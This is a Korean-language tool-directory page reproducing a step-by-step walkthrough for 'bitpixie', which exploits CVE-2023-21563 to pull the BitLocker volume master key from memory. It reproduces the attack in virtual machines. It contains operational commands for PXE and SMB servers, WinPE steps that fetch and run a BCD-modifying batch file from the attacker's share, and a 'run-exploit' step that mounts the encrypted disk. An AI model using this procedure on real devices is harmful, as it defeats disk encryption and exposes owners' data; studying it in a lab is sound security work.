Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/lr2006-robot/bitpixie
Privilege EscalationEncryption/Decryption ToolsVulnerability AnalysisExploitationPost-ExploitationHardware SecurityLearning & EducationLabs & Practice
GitHublr2006-robot/bitpixie

bitpixie

CVE-2023-21563 취약점 기반 BitLocker 암호화 크래킹

저장소 보기
3183개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

bitpixie

전체 블로그는 여기를 클릭하세요

주요 참고 자료

  • syss 블로그 게시물
  • Syss의 Github 저장소

Bitpixie로 Bitlocker 크랙 구현

가상 머신으로 재현했습니다. 로컬 머신(공격기)은 Ubuntu 22.04.5 LTS 시스템을 사용하고, 피해 머신은 각각 Windows 10 21H2 19041.1 및 Windows 11 21H2 22000.318이며, 모두 BitLocker 암호화가 활성화되어 있습니다. QEMU를 가상 머신 관리자로 사용하고 virt-manager로 관리합니다. 여기서는 Windows 11 가상 머신으로 작업합니다.

제 재현 관련 파일은 Syss의 Github 저장소에서 가져왔으며, 그 위에 도구 버전 적용 및 일부 예기치 않은 상황 처리를 수행했습니다. 다운로드 후 바로 사용하거나 필요에 따라 수정할 수 있습니다. 가상 머신 이미지 파일은 UUP Dump에서 가져왔으며, 다양한 Windows 버전을 다운로드할 수 있고, 다운로드 후 cmd 파일 또는 sh 파일을 실행하면 ISO 이미지 파일을 얻을 수 있습니다.

피해 가상 머신 환경 구축

QEMU와 virt-manager의 설치 및 사용에 대해서는 여기서 자세히 설명하지 않겠습니다. 다만 새로 다운로드한 사용자는 virt-manager에서 "Edit -> Preferences -> General -> Enable XML editing"을 통해 XML 편집 기능을 활성화하여 가상 머신의 XML 구성 파일을 직접 편집할 수 있습니다.

가상 머신 생성 시 "Local install media (ISO image or CDROM)"를 선택하고 이전에 다운로드한 Windows 11 ISO 이미지 파일을 선택합니다. 적절한 리소스(CPU, 메모리, 디스크 공간 등)를 할당하고 마지막에 반드시 "Customize configuration before install"을 선택하여 설치 전에 구성 파일을 편집할 수 있도록 합니다. 여기서 자동 시스템 인식에 문제가 있을 수 있는데, 이때 직접 "Microsoft Windows 10/11"을 선택하면 됩니다.

이제 구성을 시작합니다. 가장 중요한 점은(나중에 변경할 수 없고 다른 것은 생성 후 반복 수정 가능) Overview 탭에서 Firmware를 "UEFI x86_64: /usr/share/OVMF/OVMF_CODE_4M.ms.fd"로 선택하는 것입니다. 이 옵션을 선택하지 않았다면 가상 머신을 삭제하고 다시 배치하면 됩니다. 어차피 번거롭지 않습니다. 가상 머신 Overview 구성

그런 다음 "Boot Options" 탭으로 이동하여 "SATA CDROM 1"이 체크되어 있는지 확인합니다. 그렇지 않으면 시스템을 설치할 수 없습니다. "SATA CDROM 1"을 목록 맨 위로 이동하면 부팅 시 더 간단해집니다. 이때 바로 생성할 수 있으며, 시스템 설치 후 나머지 구성을 통합적으로 수정하면 됩니다.

"Press any key to boot from CD or DVD..."가 보이나요? 아무 키나 눌러 설치 화면으로 들어가고 지시에 따라 설치를 완료합니다. 만약 실수로 다른 페이지에 들어갔다면 당황하지 말고 "Boot Manager"를 선택한 후 "UEFI: QEMU DVD-ROM"을 선택하면 원래 화면으로 돌아가 아무 키나 눌러 부팅할 수 있습니다. Boot Manager

다음으로 시스템을 설치합니다. 제품 키 없음을 체크하고 Professional 버전을 설치하면 됩니다. 이후에는 계정 등록 같은 번거로운 절차가 있는데, 오프라인으로 부팅하여 번거로움을 줄이는 것을 권장합니다. 이 옵션이 없다면 Shift + F10을 눌러 명령 프롬프트를 열고 OOBE\BYPASSNRO를 입력하여 오프라인 계정 생성 옵션을 활성화합니다.

정상적으로 진입한 후 터미널에서 msinfo32를 입력하여 시스템 정보를 확인하고(물리 머신은 UEFI인지 확인), 바로 종료한 다음 구성을 수정합니다:

  1. TPM은 "Add Hardware"에서 "TPM 2.0"을 추가합니다. TPM이 없다면 "Add Hardware"에서 TPM을 추가하면 됩니다.
  2. "SATA CDROM 1"에서 ISO 이미지 파일을 이전에 준비한 virtio 이미지 파일로 교체합니다.
  3. "Boot Options"에서 "NIC"도 체크합니다.
  4. "NIC"에서 "Device model"을 "virtio"로 변경하고 XML에 <rom enabled="no"/>를 추가하여 네트워크 부팅을 활성화합니다. 예시는 다음과 같습니다:
<interface type="network">
  <mac address="52:54:00:2f:53:4e"/>
  <source network="default"/>
  <model type="virtio"/>
  <boot order="2"/>
  <rom enabled="no"/>
  <address type="pci" domain="0x0000" bus="0x01" slot="0x00" function="0x0"/>
</interface>

virtio 네트워크 구성을 사용하는 주된 이유는 네트워크 하드웨어의 "반가상화" 특성으로 호스트와 직접 통신하기 때문입니다. 동시에 네트워크 부팅 ROM을 비활성화하는 것은 UEFI 펌웨어가 내장 PXE 프로토콜을 통해 virtio 네트워크 카드와 직접 통신하여 부팅 과정에서 불필요한 간섭을 방지하고, 시스템에 원활하게 진입하여 후속 구성 및 테스트를 수행할 수 있도록 하기 위함입니다.

가상 머신에 진입하여 CD 드라이브로 virtio 드라이버를 설치하면 자동으로 구성되며, 네트워크가 정상인지 간단히 테스트할 수 있습니다. 그런 다음 Bitlocker 암호화를 수행하고, 후속 검증을 위해 데스크톱에 flag 파일을 새로 만들 수 있습니다.

물리 머신으로 재현하는 경우에는 공격기와 피해 머신을 네트워크 케이블로 연결하기만 하면 되고 virtio를 구성할 필요가 없습니다. 다른 구성은 기본적으로 동일하며, 유일하게 주의할 점은 물리 머신의 네트워크 인터페이스가 여러 개일 수 있으므로 올바른 인터페이스를 선택하여 구성해야 한다는 것입니다.

피해 머신의 구성이 완료되었으면 바로 종료하고, 앞서 취약점 이용 원리에서 수립한 단계에 따라 취약점을 이용하면 됩니다.

공격기 구성 및 Bitpixie 공격

여기서 전체 공격 프로세스의 참고 그림을 제공합니다. 대략적인 흐름을 먼저 살펴본 후 단계별로 구현하겠습니다: 공격 프로세스

로컬 머신(공격기)에는 다음 소프트웨어 패키지가 반드시 설치되어 있어야 합니다:

  • dnsmasq
  • impacket-smbserver
  • hivexregedit

Ubuntu 또는 Debian에서는 다음 명령으로 설치할 수 있습니다:

sudo apt install dnsmasq libwin-hivex-perl python3-impacket

프로젝트에 포함된 파일에서 build.sh 파일을 실행하여 bitpixie-initramfs를 생성합니다. 로컬 환경에 맞게 직접 수정하려면 build.sh에서 원하는 도구 및 버전 파일을 구성한 후 bitpixie-initramfs를 다시 생성하면 됩니다.

그런 다음 터미널에 ifconfig를 입력하여 로컬 머신(공격기)의 가상 게이트웨이를 확인합니다. 아래는 제 시스템을 예로 든 것입니다:

virbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.123.1  netmask 255.255.255.0  broadcast 192.168.123.255
        ether 52:54:00:23:11:39  txqueuelen 1000  (Ethernet)
        RX packets 46749  bytes 4384179 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 67170  bytes 414459630 (414.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

다음 명령을 사용하여 PXE 부팅 프로세스를 위한 TFTP 서버와 수정된 BCD 파일 전송 스크립트를 위한 SMB 서버를 시작합니다. 방금 확인한 내용을 채우면 되며, 제 경우는 virbr0입니다.

# Start the TFTP and the DHCP server
./start-server.sh pxe <interface>
# Start the SMB server for the transfer of the BCD file
./start-server.sh smb <interface>

주요 문제는 bcdedit 명령이 로컬 관리자로만 실행할 수 있다는 것입니다. 그러나 BCD 파일은 드라이브의 암호화되지 않은 EFI 파티션에 있으므로 추출하는 방법은 여러 가지가 있습니다. 한 가지 방법은 하드 드라이브를 물리적으로 분리한 후 다른 시스템에서 BCD 파일을 추출하는 것입니다. 그러나 더 간단하고 덜 침습적인 방법은 고급 부팅 옵션으로 부팅하는 것입니다. 대부분의 시스템에서 Shift + 다시 시작으로 이 작업을 수행할 수 있습니다. 로그인 화면에서도 이 방법이 유효합니다. 이제 "문제 해결 -> 고급 옵션 -> 명령 프롬프트"에서 명령줄을 입력할 수 있습니다. 이 과정에서 BitLocker 복구 화면이 표시될 가능성이 높으며, "이 드라이브 건너뛰기" 버튼으로 건너뛸 수 있습니다.

이제 터미널에서 먼저 ipconfig를 입력하여 네트워크 상태를 확인합니다. IP가 10.13.37.xxx로 표시되면 아래 단계를 건너뛸 수 있습니다. 표시되지 않으면 네트워크를 수동으로 구성해야 합니다. 먼저 올바른 경로를 확인하고, 어떤 드라이브인지 그리고 자신의 가상 머신 버전을 확인합니다:

dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64

그런 다음 결과에 따라 다음 명령으로 네트워크를 구성합니다:

drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

Network Configuration

IP 주소가 나타나면 SMB 전송을 수행할 수 있습니다. 다음 명령을 입력하면 수정된 BCD 파일이 공격자 머신으로 직접 이동되어 실제 bitpixie 공격을 바로 시작할 수 있습니다:

wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

BCD_SMB

다음으로 페이지로 돌아가 "디바이스 사용 -> PXE 부팅"을 통해 다운그레이드된 부트 로더로 부팅하고, 수정된 BCD를 로드하고, 디스크를 봉인 해제하고, 커널 부팅에 실패하면 pxesoftreboot를 실행합니다. PXE 부팅을 찾을 수 없다면 나가서 가상 머신 구성을 확인하고 "Boot Options"에서 NIC 옵션이 체크되어 있는지 확인합니다. PXE 서버를 제어하고 있으므로 미리 준비한 Debian 시스템으로 진입할 수 있습니다.

그런 다음 root를 입력하여 진입하고 su 명령을 사용한 후 파티션에 대해 스크립트를 실행하면 됩니다:

run-exploit /dev/sda3

Run Exploit

모든 것이 순조롭다면 일치하는 VMK 데이터가 직접 표시되고, 현재 디렉터리에 vmk.dat 파일이 생성됩니다. 이것이 메모리에서 추출한 VMK 파일입니다. 암호화된 디스크의 내용이 /mnt 디렉터리에 마운트되어 있으며, 바로 들어가서 이전에 생성한 flag 파일을 확인할 수 있습니다. Flag File

여기까지 Bitpixie 취약점을 성공적으로 이용하여 BitLocker 암호화 디스크의 VMK 파일을 추출하고, 암호화된 디스크의 내용에 성공적으로 접근했습니다.

물론 몇 가지 문제가 발생할 수도 있습니다. 예를 들어 VMK 파일을 찾지 못한 경우에는 VMK가 메모리에 제대로 보존되지 않았거나 올바르게 스캔되지 않았을 수 있으므로 다시 시도해 보는 것이 좋습니다. BCD 버전이 맞지 않아서일 수도 있습니다. 또 다른 경우는 VMK 파일은 찾았지만 암호화된 디스크를 마운트할 수 없는 경우입니다. VMK 파일이 불완전하거나 손상되었을 수 있으며, 유효한 식별자 03 20 01 00을 반드시 찾아야 합니다. VMK 파일을 다시 추출하거나 사용 중인 도구가 현재 시스템의 BitLocker 버전을 지원하는지 확인할 수 있습니다(dislcker 버전이 안정적인 구버전으로 고정되어 있으므로 새 버전을 다시 다운로드할 수 있습니다).

도구 다운로드